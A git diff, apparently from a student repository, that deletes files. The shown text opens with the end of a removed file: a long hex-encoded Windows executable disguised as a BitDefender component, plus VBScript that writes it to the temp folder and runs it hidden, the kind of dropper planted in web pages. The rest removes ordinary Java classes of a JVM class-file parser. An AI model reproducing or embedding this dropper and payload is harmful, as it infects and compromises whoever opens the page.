E348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
-Set FSO = CreateObject("Scripting.FileSystemObject")
-DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
-If FSO.FileExists(DropPath)=False Then
-Set FileObj = FSO.CreateTextFile(DropPath, True)
-For i = 1 To Len(WriteData) Step 2
-FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
-Next
-FileObj.Close
-End If
-Set WSHshell = CreateObject("WScript.Shell")
-WSHshell.Run DropPath, 0
-//--></SCRIPT>
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/AttributeInfo.java b/group17/1282579502/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 1e4c513330..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	public static AttributeInfo parse(ClassFile file, ByteCodeIterator iter) throws InvalidAttributeInfoException{
-		AttributeInfo attrInfo = null;
-		int attributeType = iter.getNextNBytesInteger(2);
-		String attributeTag = file.getConstantPool().getUTF8String(attributeType);
-		System.out.println("attribute type: " + attributeType + " utf8 val: " + file.getConstantPool().getUTF8String(attributeType));
-		
-		if(attributeTag.equals(CODE)){
-			System.out.println("about to parse CODE attribute");
-			//ClassFile clzFile, ByteCodeIterator iter, int attributeNameIndex
-			attrInfo = CodeAttr.parse(file, iter, attributeType);
-		}
-		else if(attributeTag.equals(LINE_NUM_TABLE)){
-			System.out.println("about to parse LINE_NUM_TABLE attribute");
-			attrInfo = LineNumberTable.parse(iter);
-		}
-		else if(attributeTag.equals(LOCAL_VAR_TABLE)){
-			System.out.println("about to parse LOCAL_VAR_TABLE attribute");
-			attrInfo = LocalVariableTable.parse(iter, file, attributeType);
-		}
-		else{
-			System.out.println("about to throw attribute");
-			throw new InvalidAttributeInfoException("Unimplemented attribute exception.");
-		}
-		
-		return attrInfo;
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/CodeAttr.java b/group17/1282579502/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index 12d151d575..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,94 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-import com.coderising.jvm.method.InvalidMethodInfoException;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		//this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter, int attributeNameIndex) throws InvalidAttributeInfoException{
-		System.out.println("parsing CodeAttr...");
-		
-		int attributeLength = iter.getNextNBytesInteger(4);
-		int maxStack = iter.getNextNBytesInteger(2);
-		int maxLocalVar = iter.getNextNBytesInteger(2);
-		int codeLength = iter.getNextNBytesInteger(4);
-		
-		
-		System.out.println("attribute length: " + attributeLength);
-		System.out.println("max stack: " + maxStack);
-		System.out.println("max local variable: " + maxLocalVar);
-		System.out.println("code length: " + codeLength);
-		
-		String realCode = iter.getNextNHexString(codeLength);
-		System.out.println("real cdoe: " + realCode);
-		
-		int exceptionCount = iter.getNextNBytesInteger(2);
-		System.out.println("exception count: " + exceptionCount);
-		if(exceptionCount>0){
-			throw new InvalidAttributeInfoException("Exception parser un-implemented.");
-		}
-		//int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code
-		CodeAttr code = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocalVar, codeLength, realCode);
-
-		int subAttributeCount = iter.getNextNBytesInteger(2);
-		System.out.println("sub attribute count : " + subAttributeCount); 
-		for(int i = 0; i<subAttributeCount; i++){
-			AttributeInfo attInfo = AttributeInfo.parse(clzFile, iter);
-			if(attInfo instanceof LineNumberTable){
-				code.setLineNumberTable((LineNumberTable)attInfo);
-			}
-			else if(attInfo instanceof LocalVariableTable){
-				code.setLocalVariableTable((LocalVariableTable) attInfo);
-			}
-			else{
-				throw new InvalidAttributeInfoException("Unimplemented attribute type.");
-			}
-		}
-				
-		return code;
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
-	
-	
-	
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/InvalidAttributeInfoException.java b/group17/1282579502/src/com/coderising/jvm/attr/InvalidAttributeInfoException.java
deleted file mode 100644
index 30c7bbc08e..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/InvalidAttributeInfoException.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class InvalidAttributeInfoException extends Exception {
-	public InvalidAttributeInfoException(String message){
-		super(message);
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/LineNumberTable.java b/group17/1282579502/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 793a155f28..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,53 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		int attributeLength = iter.getNextNBytesInteger(4);
-		int lineNumberTableLength = iter.getNextNBytesInteger(2);
-		System.out.println("attribute length: " + attributeLength);
-		System.out.println("line number table length: " + lineNumberTableLength);
-		LineNumberTable table = new LineNumberTable(attributeLength, lineNumberTableLength);
-		for(int i = 0; i<lineNumberTableLength; i++){
-			LineNumberItem item = new LineNumberItem();
-			item.setStartPC(iter.getNextNBytesInteger(2));
-			item.setLineNum(iter.getNextNBytesInteger(2));
-			table.addLineNumberItem(item);
-			System.out.println("start pc: " + item.getStartPC() + " line number: " + item.getLineNum());
-		}
-		return table;
-	}
-	
-	
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableItem.java b/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index ea7f9f427c..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,71 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	private ConstantPool constPool;
-	
-	public LocalVariableItem(ConstantPool pool){
-		this.constPool = pool;
-	}
-	
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-	
-	
-	public static LocalVariableItem parse(ByteCodeIterator iter, ConstantPool pool){
-		LocalVariableItem item = new LocalVariableItem(pool);
-		int startPc = iter.getNextNBytesInteger(2);
-		int length = iter.getNextNBytesInteger(2);
-		int nameIndex = iter.getNextNBytesInteger(2);
-		int descriptorIndex = iter.getNextNBytesInteger(2);
-		int index = iter.getNextNBytesInteger(2);
-		item.setStartPC(startPc);
-		item.setLength(length);
-		item.setNameIndex(nameIndex);
-		item.setDescIndex(descriptorIndex);
-		item.setIndex(index);
-		
-		return item;
-	}
-	@Override
-	public String toString() {
-		return "LocalVariableItem [startPC=" + startPC + ", length=" + length
-				+ ", nameIndex=" + nameIndex + " val: " + constPool.getUTF8String(nameIndex) + ", descIndex=" + descIndex
-				+ " val: " + constPool.getUTF8String(descIndex) + ", index=" + index  + "]";
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableTable.java b/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index a667dfe54b..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-public static LocalVariableTable parse(ByteCodeIterator iter, ClassFile clz, int nameIndex){
-		LocalVariableTable attrInfo = null;
-		int attributeLength = iter.getNextNBytesInteger(4);
-		int localVarTableLength = iter.getNextNBytesInteger(2);
-		System.out.println("attribute length: " + attributeLength);
-		System.out.println("local variable table length: " + localVarTableLength); 
-		attrInfo = new LocalVariableTable(nameIndex, attributeLength);
-		for(int i = 0;i<localVarTableLength; i++){
-			LocalVariableItem item = LocalVariableItem.parse(iter, clz.getConstantPool());
-			System.out.println("local variable table item: " + item);
-			attrInfo.addLocalVariableItem(item);
-		}
-		
-		return attrInfo;
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/StackMapTable.java b/group17/1282579502/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 44c5d90d46..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/clz/AccessFlag.java b/group17/1282579502/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100755
index aab65b780b..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-	package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/clz/ClassFile.java b/group17/1282579502/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100755
index b2645983ad..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
